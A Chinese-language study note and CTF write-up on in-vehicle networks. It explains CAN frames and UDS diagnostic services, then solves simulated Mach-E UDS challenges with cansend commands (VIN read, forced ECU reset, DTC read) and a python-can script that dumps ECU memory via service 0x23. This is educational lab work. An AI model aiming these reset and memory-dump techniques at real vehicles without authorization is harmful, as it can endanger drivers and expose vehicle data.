车联网ctf挑战

CAN总线

结构

采用了线状拓扑结构,其中所有设备都连接到一条共享的通信线(总线)上。以下是线状拓扑结构的一些优点:

  1. 成本效益:线状拓扑结构相对简单,所需的电缆长度较短,因此成本较低。
  2. 易于扩展:添加新的设备相对容易,只需将设备连接到总线上即可。
  3. 故障隔离:如果网络中的某个设备出现故障,通常不会影响其他设备的通信。
  4. 易于安装和维护:由于结构简单,安装和维护都比较容易。
  5. 适用于小型网络:对于小型网络,线状拓扑结构是一个很好的选择,因为它提供了足够的性能和可靠性。

然而,线状拓扑结构也有一些缺点,如单点故障(如果总线本身出现故障,整个网络可能会受到影响)和潜在的通信冲突(当多个设备同时尝试发送数据时)。因此,在选择网络拓扑结构时,需要根据具体需求和网络环境来权衡其优缺点。

image-20241104103841512

寻址方式

点对点寻址

广播寻址

报文结构

数据帧

第一张图中的1表示此位大小为1bit,非赋予的值。

image-20241105141324795

从sof开始到eof结尾标志着一帧can报文发送完毕

image-20241104105647851

场区

Arbitration Filed :仲裁场,对报文优先级进行裁定

Control Filed :控制场,DLC(Data Length Code)控制后面数据场有效字节的数量

Check Filed :校验场,对前面发送的数据的校验.保护

ACK Filed :应答场,直接应答机制,由 ACK 槽(ACK SLOT)和 ACK 界定符(ACK DELIMITER)2 个位构成。

标志位

sof:帧起始标志位,固定格式是0,总线空闲时是1

RTR:远程帧格式指示位,0是数据帧,1是远程帧,没有data filed

IDE:扩展帧指示位,0是identifier正常11bit,1则会加一段扩展id位共29bit

image-20241104114337785

rtr: 保留位,一般显示0

CRC: 此段是检查帧传输错误的帧,包括:15 个位的 CRC序列(CRC SEQUENCE)和1 个位的CRC界定符(CRC DELIMITER)构成。CRC序列是根据多项式生成的 CRC 值,CRC 的计算范围包括:帧起始、仲裁段、控制段、数据 段。 接收方以同样的算法计算 CRC 值并进行比较,不一致时会通报错误。

ACK: crc校验无误是0。失败为1,此时停止发送,在下一步发送错误帧。(发送单元在 ACK 段发送 2 个位的隐性位。当接收器正确地接收到有效的报文时,接收器就会在应答间隙(ACK SLOT)期间(发送ACK 信号)向发送器发送一个“显性”的位以示应答,通知发送单元正常接收结束,这称作“发送 ACK”或者“返回 ACK”。)

ECU

是一个超小型计算机集成了供电系统,单片机,驱动系统

在汽车 CAN 总线系统中,ECU 可以是发动机控制单元、安全气囊、音频系统等。一辆现代汽车可能有多达 100多 个 ECU - 每个 EC U 都可能具有需要与网络的其他部分共享的信息

Electronic Control Unit,即电子控制单元,也可以叫 “行车电脑”。决定整车性能的最重要的部分就是它的ECU。

作为现代汽车电子的核心元件之一 ,ECU电子控制单元在汽车中也许有好几个,每个管理不同的功能;而每个ECU系统之间又有信息交换。虽然在整车上的控制系统越来越复杂,但它仍然必须具备最基本的结构—微处理器(CPU)、存储器(ROM、RAM)、输入/输出接口(I/O)、模数转换器(A/D)以及整形、驱动等大规模集成电路。

ECU控制发动机运行外,保护发动机和汽车安全的功能,当发动机转速或汽车行驶速度超过限定值时,ECU会切断发动机燃油供给,以保护车辆安全。而且随着轿车电子化自动化的提高,ECU的控制范围已经扩张到巡航控制、灯光控制 、安全气囊控制,悬架控制 、燃油加热控制、排气控制、制动控制、EGR和增压压力控制等

从外观上也很好辨认—在发动机电子燃油喷射系统中有一个形似方盒子的控制元件,它就是ECU。元件周围有许多细密的插槽,用来连接众多的输入输出电路,它和其他电子控制元件一起组成了汽车的大脑神经中枢系统 ,随时监控着输入的各种数据(比如刹车、换档等)和汽车运行的各种状态 (加速、打滑、油耗等 ),并按照预先设计的程序计算各种传感器送来的信息,经过处理以后,把各个参数发送给各相关的执行机构 ,执行各种预定的控制功能。

UDS 协议

是什么

是一种与控制单元通信的方式

输入解决方案:标准化协议。这种诊断通信协议被称为统一诊断服务 (UDS) ,可协调全球汽车电子领域的ECU诊断。

体验 UDS 的无缝衔接,因为它弥合了制造商之间的差距,并开创了汽车诊断的新时代。

“统一”一词意味着它是一个通用标准,而不是特定的公司标准,因此所有ECU制造商 (OEM) 的服务和功能都是相同的。“诊断”一词意味着它是一种识别车辆任何类型疾病 (故障) 的技术。它还允许我们重新编程和校准传感器。

‍‍测试仪与ECU通信,每辆车都有OBD (车载诊断) 接口端口。借助OBD接口电缆,我们可以与汽车连接,并且可以读取故障代码或重新编程或校准传感器。

为什么用

在当今的现代车辆中,有 100 多个微型控制单元可以处理不同的任务,例如管理电池、控制变速箱、处理制动,甚至照顾娱乐系统。但是当出现问题时,就像一个人生病一样。

就像一个人去看医生找出问题并找到解决方案一样,车辆也需要弄清楚它的问题。它通过使用称为“故障代码”或“诊断故障代码 (DTC) ”的东西来实现此目的。此代码告诉我们车辆出了什么问题。

为了帮助解决这个问题,有一种特殊的与控制单元通信的方式,称为统一诊断服务 (UDS) 协议。这就像车辆问控制单元,“嘿,发生了什么事?控制单元会给出一个答案,帮助我们理解问题。

我们使用一种特殊的工具与控制单元进行通信。此工具连接到控制单元并获取故障代码。这有点像我们和车辆之间的翻译。这种通信可以使用不同的方式进行,例如通过 CAN、LIN 或 K 线方法。

因此,就像人们需要与医生交谈以找出问题所在一样,车辆使用UDS协议和工具与他们的控制单元交谈,并在出现问题时找出发生了什么。

通信协议指的是它用于在两个微控制器之间进行通信,或在控制器和计算机之间进行通信以传输数据。在汽车电子领域,我们有 ECU (电子控制单元) 。这些诊断协议用于识别ECU中的故障。

UDS帧格式和类别

image-20241229140210865

OBD2 消息字段说明
● 标识符(canid) : 对于 OBD2 消息,标识符为标准 11 位,用于区分“请求消息”(ID 7DF)和“响应消息”(ID 7E8 至 7E
 F)。请注意,7E8 通常是主发动机或 ECU 的响应位置。
● 长度(bytes) :仅反映剩余数据(03 到 06)的长度(以字节数为单位)。对于车速示例,请求为 02(因为只有 01 和 0D 后跟
),而响应为 03,因为 41、0D 和 32 都后跟。
● 模式(mode) : 对于请求,这将在 01-0A 之间。对于响应,0 将替换为 4(即 41、42、... 、4A)。SAE J1979 OBD10 标准中描
述的 2 种模式。模式 1 显示当前数据,例如用于查看实时车速、RPM 等。其他模式用于显示或清除存储的诊断故障代码
以及显示冻结帧数据。

● PID : 对于每种模式,都存在标准 OBD2 PID 列表 - 例如,在模式 01 中,PID 0D 是车速。有关完整列表,请查看我们
的 OBD2 PID 概述 。每个 PID 都有一个描述,有些 PID 具有指定的最小值/最大值和转换公式。例如,速度的公式就是 A
,这意味着 A 数据字节(以十六进制为单位)被转换为十进制以获得 km/h 转换值(即 32 变为 50 km/h以上)。例如,R
 PM (PID 0C),公式为 (256*A + B) / 4。  ● A、B、C、D : 这些是十六进制的数据字节,在用于 PID 公式计算之前
,需要将其转换为十进制形式。请注意,不使用最后一个数据字节(在 Dh 之后)。

请求帧格式:

请求帧格式如下所示。

PCI 长度 SID 子功能 ID

响应帧格式:

有两种类型的响应帧。这是一个积极的回应和一个消极的回应。

积极回应:

PCI 长度 SID+0x40 子功能 ID

否定回应:

PCI 长度 7F SID 否定响应代码

image-20241103114719194

帧类别

可看例子simulation vin

对于不同的帧,通过 CAN 数据场的中的 PCI (Protocol control information)来进行区分。

image-20241111163432516

以下是对 PCI 段的详细解释。

image-20241111163510699

单帧sf

对于帧的类型,通过需要发送的数据长度来确定。在正常寻址模式下,当数据长度小于等于 7 byte,则用单帧的形式发送。

单帧的缩写为 SF,数据域的第一个字节高 4 bit 值为 0000,标识这是一个帧 SingleFrame,低 4bit 是SF_DL,即 DataLength,描述后面有几个字节有效的数据长度。后面没有使用的字节通常会用 0xAA 来进行填充。

多帧

当数据长度大于 7 byte,数据需要分多帧才能发送完成,则需要使用到首帧、流控帧、连续帧。多帧的机制如下图所示。

image-20241111194945662

首帧ff

首先发送端会以一个 FirstFrame 开启通信,告诉接收端还有后续的内容要发,FirstFrame 使用前两个字节作为 PCI 信息,第一个字节高 4 bit 为 0001,(0x10)标识这是一个 FirstFrame,低 4 bit 加上第二个字节用于描述总共发送的数据长度是多少(包括在 FirstFrame 中和后续在 ConsecutiveFrame 中的所有数据)。

该数据长度不包含 ConsecutiveFrame 的 PCI 部分。

流控帧fc

之后接收端发送 FlowControl,告诉发送端能以什么样的速度来发送数据,FlowControl 第一字节的高 4 bit 为 0011,(0x30标识)低 4 bit 为 FS,即 FlowStatus,第二个字节为 BS(BlockSize),第三个字节为 STmin(SeperateTime)。FlowControl 有0,1,2 三种状态,分别命名为 ContinueToSend(CTS),Wait(WT),Overflow(OVFLW)。如果允许发送端继续发送 ConsecutiveFrame,则 FlowStatus=0;若要求发送端等一会再发送 ConsecutiveFrame,则 FlowStatus=1,允许发送端发送 ConsecutiveFrame 时,接收端再发一个 FlowStatus=0 的 FlowControl。如果接收端因为资源问题无法接收发送端发送的数据,则发送一个 FlowStatus=2 的 FlowControl。

BS 指示发送端一次可以发送多少个 ConsecutiveFrame,(设置为0时,发送数量无限制。)当发送 ConsecutiveFrame 数量达到 BS 时,需要接收端再次以一个 FlowControl 开启下一波的 ConsecutiveFrame 发送。

接收端根据自身的接收和处理能力使用 STmin 指示发送端在发送 ConsecutiveFrame 时最小的时间间隔是多少,从而实现流控制。

(BS 和 STmin 等于 0 时,表示接收端可以以最快的速度来接收数据,发送端可以一次发送的 ConsecutiveFrame 数量不受限制。)

连续帧cf

ConsecutiveFrame 就是承载 FirstFrame 无法完全承载的剩余数据了,它使用第一个字节用作 PCI,高 4 bit 为 0010即(0x20),低 4 bit 用于标识 ConsecutiveFrame 的序列号(SN),从 1 开始,每发送一次 ConsecutiveFrame 增加 1 。(0x21开始)

诊断服务

#UDS

诊断会话是什么

诊断会话是车辆ECU(电子控制单元)运行中的一种特定状态,用于控制诊断工具与ECU之间的通信行为。它决定了诊断工具可以访问哪些功能、执行哪些操作。

诊断会话UDS协议(ISO 14229)中的核心概念之一,分为多种类型,不同的诊断会话对应不同的ECU功能和权限。

诊断会话的类型

UDS协议中常见的诊断会话包括:

1. 默认诊断会话(Default Session,0x10 0x01)
  • 描述
    • ECU的默认状态,是车辆正常运行时的基本会话。
    • 功能受到限制,仅支持基本的诊断和监控操作。
  • 限制
    • 不允许执行安全访问(27服务)或刷写ECU(31、34服务)。

2. 编程会话(Programming Session,0x10 0x02)
  • 描述
    • 用于固件更新(刷写ECU)或编程操作。
    • ECU进入该会话后,可能会关闭安全关键的子系统(如发动机控制)。
  • 支持功能
    • 安全访问(27服务)。
    • 下载固件(34服务)。
    • 刷写配置(31服务)。
  • 限制
    • 车辆必须静止,通常要求特别授权。

3. 扩展诊断会话(Extended Diagnostic Session,0x10 0x03)
  • 描述
    • 提供比默认会话更多的诊断功能。
    • 常用于维修和高级诊断任务。
  • 支持功能
    • 安全访问(27服务)。
    • 动态数据调整(2F服务)。
    • 特殊测试模式。
  • 限制
    • 有一定的安全性要求(如超时限制或授权)。

10服务(诊断会话的切换

诊断会话切换使用10服务(Session Control),诊断工具通过发送切换请求使ECU进入指定的会话。

请求格式

复制代码
10 xx
  • 10:服务ID,表示会话控制。

  • xx

    :子功能,指定目标会话:

    • 0x01:默认会话。
    • 0x02:编程会话。
    • 0x03:扩展诊断会话。

成功切换后,ECU返回:

50 xx
  • 50:会话控制的正响应。
  • xx:确认切换到的会话类型。

22服务(读取基础信息数据)

22服务作为诊断服务中的基础服务,可以简单理解为就是一个用于读取ECU数据的外部接口,可实时获取软件内部的相关的状态信息。如vin码,ecu序列号,软件版本号、发动机状态等信息。等

11服务(ecu重启)

根据ISO14119-1标准中所述,诊断服务11主要用于Client向Server(ECU)请求重启行为。

该重启行为将会导致Server复位回归到特定的初始状态,具体是什么初始状态取决于Client的请求行为。

复位类型值 含义
01 硬复位(Hard Reset)
02 关机(Key Off On Reset)
03 Soft Reset(软复位)
04 Enable Rapid Power Shutdown

19服务(读取故障码信息)

子功能

子功能码 含义(读取什么)
01 报告所有已存储的 DTC
02 报告当前活动的 DTC
04 报告快照数据(DTC Snapshot)
06 报告 DTC 数量(有多少个故障)
0A 报告 DTC 状态掩码(某类 DTC 的状态)
0F 报告扩展数据记录(Extended Data Record)

02服务可用DTC 状态掩码:

当你用 0x19 服务读取故障码时,车上的 ECU 可能存储了很多种状态的故障,比如:

  • 当前还在发生的故障
  • 已经发生但现在恢复的故障
  • 会触发故障灯(MIL)的故障
  • 挂起待验证的故障

你不一定都想要,于是就用“状态掩码”来过滤。

Bit 十六进制 含义
7 0x80 故障测试未完成(自诊断条件未满足)
6 0x40 故障测试失败(上次测试周期)
5 0x20 故障当前未激活
4 0x10 故障当前激活(Active)
3 0x08 故障已确认(Confirmed DTC)
2 0x04 故障导致 MIL 点亮(Check Engine)
1 0x02 故障为挂起状态(Pending)
0 0x01 历史故障(老故障 / 存储但未激活)

故障码格式

image-20250509103517558

DTC标准故障码格式

UDS(统一诊断服务)的理解——0x19服务_uds 19服务-CSDN博客

23服务(按地址读取内存)服务

见secret in memory

请求格式

23 14  [内存地址] [读取长度]

各字段含义:

  1. 23
    • 服务ID,表示Read Memory By Address服务。
  2. 14
    • 子功能,表示物理内存读取。
  3. 内存地址
    • 动态长度,指定要读取的内存区域的起始地址。
  4. 读取长度
    • 动态长度,表示要读取的字节数。

27服务(安全访问)

用于防止未经授权的访问 ECU 中的敏感数据或功能(如编程、写入 DTC、标定等)。

见Security Access Level

UDS协议规定:进入扩展诊断会话后再提供27服务,而不可以直接提供27服务

  • 27服务(安全访问)必须在某些特定的诊断会话中才可用,例如:
    • 扩展诊断会话0x10 0x03
    • 编程会话0x10 0x02
  • 默认会话(Default Session,0x10 0x01)通常不允许使用27服务,因为此会话主要用于基础诊断功能,不提供高级功能权限。

这是一种访问控制机制,确保只有在适当的上下文下,敏感的操作(如安全访问或刷写ECU固件)才能被允许。

工作机制 —— "请求种子,返回钥匙" 流程(Challenge–Response)

  1. 请求种子(Request Seed)
    Tester 向 ECU 发送 0x27 0x01(或其他子功能) 请求种子
    ECU 响应:0x67 0x01 [Seed]
  2. 发送钥匙(Send Key)
    Tester 使用种子计算出钥匙,通过 0x27 0x02 [Key] 发给 ECU
    ECU 响应成功:0x67 0x02
    ECU 响应失败:0x7F 0x27 0x35(密钥不匹配)

一般有多级安全(如 0x01/0x02 是一级,0x03/0x04 是二级)

子功能列表(常见标准定义)

子功能码 含义 方向
0x01 请求种子(Level 1) Tester → ECU
0x02 发送密钥(Level 1) Tester → ECU
0x03 请求种子(Level 2) Tester → ECU
0x04 发送密钥(Level 2) Tester → ECU
0x05 请求种子(Level 3) Tester → ECU
0x06 发送密钥(Level 3) Tester → ECU
... ... ...
0x81 请求种子(OEM扩展) Tester → ECU
0x82 发送密钥(OEM扩展) Tester → ECU

📌 特点说明

  • 子功能码始终是 奇数表示请求种子偶数表示发送密钥
  • 安全级别由 OEM 自定义,不同级别授权不同功能
  • 通常 Level 1 只读访问,Level 2 允许写入/编程

31(常规控制)

Routine Control 是 UDS(Unified Diagnostic Services,ISO 14229)协议中的一项服务,其主要功能是控制车辆电子控制单元(ECU)执行某些特定的例行任务。这些任务通常用于诊断、测试或校准特定功能,比如运行某个特定的健康检查、初始化某些模块、或者触发特定的车辆行为。

Routine Control 的服务 ID 和子功能

  • 服务 ID (SID): 0x31
  • 功能: 通过此服务,诊断工具可以请求 ECU 执行预定义的例行程序。

子功能 (Subfunctions)

  • 0x01: StartRoutine
    启动一个例行程序。
  • 0x02: StopRoutine
    停止正在运行的例行程序。
  • 0x03: RequestRoutineResults
    请求获取例行程序的执行结果。

车联网ctf uds挑战

虚拟环境

vesa的uds终端不允许直接pip下载工具,因此后面需要写脚本的题目基本都无法import can库等工具,我们可以使用虚拟环境来解决这个脚本问题。

创建一个新的虚拟环境,并在其中安装模块运行:
python3 -m venv myenv
激活
source myenv/bin/activate
pip install python-can
python3 ex.py

特殊仲裁ID

0x7DF

在汽车 OBD-II(On-Board Diagnostics)协议中,0x7DF 是一个功能寻址(Functional Addressing)的 ID,表示请求发送给总线上的所有 ECUs(Electronic Control Units,电子控制单元)。

这是一个广播请求,所有设备都会监听该 ID。

Can you find the interface?

题目描述:This challenge is within the Harborbay vehicle simulator on VSEC. From the home page, enter HarborBay. Select the Mach-E UDS Challenge Simulation, then launch the terminal.What is the name of the CAN interface available on the virtual terminal?翻译:此挑战在 VSEC 上的 Harborbay 车辆模拟器中进行。从主页进入 HarborBay。选择 Mach-E UDS 挑战模拟,然后启动终端。虚拟终端上可用的 CAN 接口名称是什么?

想要看 CAN 接口名称可以在终端输入 ifconfig 或者 ip link,得到 flag:vcan0

Arbitration

题目描述:This challenge is within the Harborbay vehicle simulator on VSEC. From the home page, enter HarborBay. Select the Mach-E UDS Challenge Simulation, then launch the terminal.What is the Arbitration ID of the CAN frame being sent periodically on the CAN interface?翻译:本次挑战在 VSEC 上的 Harborbay 车辆模拟器中进行。从主页进入 HarborBay。选择 Mach-E UDS 挑战模拟,然后启动终端。在 CAN 接口上定期发送的 CAN 帧的仲裁 ID 是什么?

想要看 CAN 总线上发的什么可以使用 candump 指定特定的 CAN 接口,监听 CAN 总线上的数据,可以看到定期发送的 CAN 数据,ID 为 59E,因此 flag 为 59E

image-20241103131539200

candump 是 Linux 系统中用于监控和记录 CAN(Controller Area Network)总线上数据的命令,通常与 CAN 通信相关的硬件一起使用,比如车载总线或工业控制网络。这个工具是 can-utils 软件包的一部分,可以捕获并显示 CAN 数据帧,帮助调试和分析 CAN 网络通信。

candump 命令捕获并显示了虚拟CAN接口 vcan0 上传输的CAN消息。具体解析如下:

  • 接口名称 (vcan0): 表示捕获到的CAN消息是在 vcan0 这个虚拟CAN接口上传输的。
  • CAN ID (59E): 表示消息的标识符,用于识别消息的类型或来源。在此图中,所有消息的CAN ID都为 59E
  • 数据长度代码 ([2]): 也称为 DLC (Data Length Code),表示该消息包含的数据字节数。此处 [2] 表示消息包含2字节的数据。
  • 数据内容 (9E 10): 消息的实际数据内容,每个字节以十六进制显示。在该示例中,数据为 9E 10

总结来说,这些 candump 的输出展示了多条在 vcan0 接口上传输的相同CAN消息,CAN ID 为 59E,数据长度为2字节,数据内容为 9E 10。这些信息通常用于调试或分析CAN总线的传输数据。

Data Field 1

题目描述:This challenge is within the Harborbay vehicle simulator on VSEC. From the home page, enter HarborBay. Select the Mach-E UDS Challenge Simulation, then launch the terminal.How many bytes of data are in the data field of the CAN frame being sent periodically on the CAN interface?翻译:此挑战在 VSEC 上的 Harborbay 车辆模拟器中进行。从主页进入 HarborBay。选择 Mach-E UDS 挑战模拟,然后启动终端。在 CAN 接口上定期发送的 CAN 帧的数据字段中有多少字节数据?

问你定期发送 CAN 帧的 DLC(Data Length Code)是多少,也就是 数据的长度,同样使用 candump vcan0 可以得到答案为 2

Data Field 2

题目描述:This challenge is within the Harborbay vehicle simulator on VSEC. From the home page, enter HarborBay. Select the Mach-E UDS Challenge Simulation, then launch the terminal.What is the value of the data field of the CAN frame being sent periodically on the CAN interface? Format: XXYY翻译:此挑战在 VSEC 上的 Harborbay 车辆模拟器中进行。从主页进入 HarborBay。选择 Mach-E UDS 挑战模拟,然后启动终端。在 CAN 接口上定期发送的 CAN 帧的数据字段的值是多少?格式:XXYY

数据就是 9E10

Message Frequency

题目描述:This challenge is within the Harborbay vehicle simulator on VSEC. From the home page, enter HarborBay. Select the Mach-E UDS Challenge Simulation, then launch the terminal.What is the frequency that the periodic CAN frame is transmit at? (in Hz)翻译:此挑战在 VSEC 上的 Harborbay 车辆模拟器中进行。从主页进入 HarborBay。选择 Mach-E UDS 挑战模拟,然后启动终端。周期性 CAN 帧的传输频率是多少?(单位为 Hz)

使用 candump -l vcan0 可以将 CAN 总线数据捕获为一个 log 文件,cat 该 log 文件会有每条 CAN 数据记录的时间,题目问周期性 CAN 帧的传输频率,感觉不可能算的多精确,看上去基本就是一秒一个,所以试了一下答案就是 1..

左到右,时间戳,

image-20241103150248574

Simulation VIN

题目描述:This challenge is within the Harborbay vehicle simulator on VSEC. From the home page, enter HarborBay. Select the Mach-E UDS Challenge Simulation, then launch the terminal.Retrieve the VIN of the simulation using UDS.翻译:此挑战在 VSEC 上的 Harborbay 车辆模拟器中进行。从主页进入 HarborBay。选择 Mach-E UDS 挑战模拟,然后启动终端。使用 UDS 检索模拟的 VIN。

读取VIN码使用22服务(通过标识符读取数据), 0xF190 代表 VIN 码请求,22为SID(服务号),f190为DID(数据标识符)

VIN码较长,需要多帧发送接收,所以需要使用流控帧(FC)和连续帧(CF)

payload

cansend vcan0 7df#0322f190 && cansend vcan0 7e0#3000000000000000

报文

在 UDS over CAN 中,请求 ID 和响应 ID 是成对出现的。请求 ID 通常是 0x7E0(表示诊断仪发送给 ECU),对应的响应 ID 是 0x7E8(ECU 回复诊断仪),这个 +0x08 的关系符合 ISO 15765 协议规范。

  vcan0  7DF   [4]  03 22 F1 90 #7DF:OBD-II 的广播地址,表示请求会发送给所有的 ECU
  vcan0  7E8   [8]  10 14 62 F1 90 66 6C 61#0x10是首帧标志,0x14是大小,0x62是肯定响应sid+0x40,f190子功能id。7E8:响应的 ECU 地址,表示 ECU 的 ID
  vcan0  7E0   [8]  30 00 00 00 00 00 00 00#0x30流控帧标识,发送后显示剩余连续帧。id:7e0因为要回复7e8,所以流控帧就发送到0x7e0。7E0:流控帧的发送 ECU 地址。
  vcan0  7E8   [8]  21 67 7B 76 31 6E 5F 42 #连续帧1,0x21。7E8:响应的 ECU 地址。
  vcan0  7E8   [8]  22 48 6D 61 63 68 33 7D #连续帧2,7E8:响应的 ECU 地址。

VIN 码后转为 ASCII 得到 flag:flag{v1n_BHmach3}

Startup Message

题目描述:This challenge is within the Harborbay vehicle simulator on VSEC. From the home page, enter HarborBay. Select the Mach-E UDS Challenge Simulation, then launch the terminal.It seems the simulation broadcasts some diagnostic information on arbitration ID 0x7DF when booting up, what does this message say? (in ASCII)HINT: How can you get an ECU to restart?翻译:此挑战在 VSEC 上的 Harborbay 车辆模拟器中进行。从主页进入 HarborBay。选择 Mach-E UDS 挑战模拟,然后启动终端。似乎模拟在启动时广播了一些有关仲裁 ID 0x7DF 的诊断信息,这条消息说了什么?(ASCII 格式)提示:如何让 ECU 重新启动?
cansend vcan0 7df#021101    #用11服务的重启子服务
 vcan0  7DF   [3]  02 11 01 #01硬复位
 vcan0  7E8   [8]  02 51 01 00 00 00 00 00 #响应帧,确认硬复位
 vcan0  59E   [2]  9E 10 
 vcan0  7DF   [8]  07 67 30 47 72 65 33 6E

答案 67 30 47 72 65 33 6E--->g0Gre3n

Engine Trouble?

题目描述:This challenge is within the Harborbay vehicle simulator on VSEC. From the home page, enter HarborBay. Select the Mach-E UDS Challenge Simulation, then launch the terminal.The simulation's engine light is on, can you read the diagnostic code?Check out our youtube walkthrough if you get stuck: https://www.youtube.com/watch?v=IaUL0dA4Z_YThe format of the DTC is Pxxxx-xx. Example answer: P1234-01翻译:此挑战在 VSEC 上的 Harborbay 车辆模拟器内进行。从主页进入 HarborBay。选择 Mach-E UDS 挑战模拟,然后启动终端。模拟的发动机灯亮了,你能读出诊断代码吗?如果你遇到困难,请查看我们的 YouTube 演示:https://www.youtube.com/watch?v=IaUL0dA4Z_YDTC 的格式为 Pxxxx-xx。示例答案:P1234-01

这次来使用状态掩码读取 DTC,也就是 02 子服务,但掩码是啥呢,定义如下,我们来读 confirmedDTC,也就是 bit3 为 1,其余为 0,0000 1000 => 08

DTC 状态掩码(过滤条件,0x08 表示查询“当前确认的故障”)

cansend vcan0 7DF#03190208
收到:7E8#075902083E9F01AB

对收到的数据 3E9F01AB 进行解析,前两位有一个对应关系

00 P 动力总成
01 C 底盘
10 B 车身
11 U 网络

DTC标准故障码格式解析 - 可乐芬达 - 博客园

答案:P3E9F-01

Secrets in Memory?

It seems the simulation allows access to only some off-chip sections of memory, are there any secrets in the visible memory?
看来模拟只允许访问一些片外内存部分,可见内存中有什么秘密吗?

The memory region starts at 0xC3F80000 and the flag is in the format flag{...}.
内存区域从 0xC3F80000 开始,标志的格式为 flag{...}。

23服务读内存

e.py

import can
import time
import binascii

# 初始化 CAN 总线
# 使用 socketcan 接口和 vcan0 云中 CAN 模拟通道
bus = can.Bus(interface='socketcan', channel='vcan0')
# 可选缓满过滤器,限制接收特定 ID 的 CAN 消息
# bus.set_filters([{"can_id": 0x7E8, "can_mask": 0xFFF, "extended": False}])

# 用于累积接收的数据
recvdata = "[DATA]:"

# 进行地址进一步测试,地址范围:0xC3F83000 - 0xC3F865FF,步长为0xff
for hex_value in range(0xC3F83000, 0xC3F865ff, 0xFF):
    # 将地址分解为 4 个字节
    byte1 = (hex_value >> 24) & 0xFF  # 高位字节
    byte2 = (hex_value >> 16) & 0xFF
    byte3 = (hex_value >> 8) & 0xFF
    byte4 = hex_value & 0xFF  # 位字节

    # 构造发送数据消息,其中:
    # 0x07: 指定消息长度,0x23 和 0x14 为协议服务标识符
    # byte1-byte4: 代表地址转换字节
    # 0xFF: 补充位
    candata = [0x07, 0x23, 0x14, byte1, byte2, byte3, byte4, 0xFF]
    #查看此地址后0xff内内存中的值
    
    # 构造一条 CAN 消息:
    # arbitration_id=0x7DF 表示功能定向请求,送致所有 ECU
    # is_extended_id=False 表示标准格式使用 11 位 ID
    # dlc=8 表示数据部分长度为 8 字节
    message = can.Message(arbitration_id=0x7DF, is_extended_id=False, dlc=8, data=candata)
    
    # 发送消息
    bus.send(message, timeout=0.2)
    
    # 接收 CAN 消息
    msg = bus.recv()
    print("orgin:\n", msg)  # 展示原始消息
    
    # 如果接收到消息,将其数据转换为十六进制字符串,并累积到 recvdata
    if msg is not None:
        recvdata += binascii.hexlify(msg.data).decode('utf-8')[6:]#回复帧6位也就是3字节后才是有效数据

    # 发送流控制框(Flow Control Frame),指示 ECU 可以继续发送数据
    message = can.Message(arbitration_id=0x7E0, is_extended_id=False, dlc=8, data=[0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00])
    bus.send(message, timeout=0.2)

    # 继续接收 ECU 的响应,最多 36 条消息,36*7+4=256=0xff
    temp = 0
    while temp < 36:
        msg = bus.recv()
        if msg is not None:
            # 将消息数据转换为十六进制,并删除前 1个字节,只看后面的数据
            tempdata = binascii.hexlify(msg.data).decode('utf-8')[2:]
            if tempdata != "00000000000000":
                recvdata += tempdata  # 累积有效数据
        temp += 1

# 显示最终接收到的全部数据
print("\n========== READMEM ==========")
print(recvdata)
print("========== READMEM ==========")

# 关闭 CAN 总线,释放资源
bus.shutdown()
========== READMEM ==========
[DATA]:4e494c00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004e494c00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004e494c3f00000000000000000000000000000000000000000000000000000000666c61677b6d656d2b723334647d00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000424c30434b483452423052ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0000ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0000ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0000ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0000ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0000ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0000ffffffffffffffffffffffffffffffffffffffffffffffffffffffffff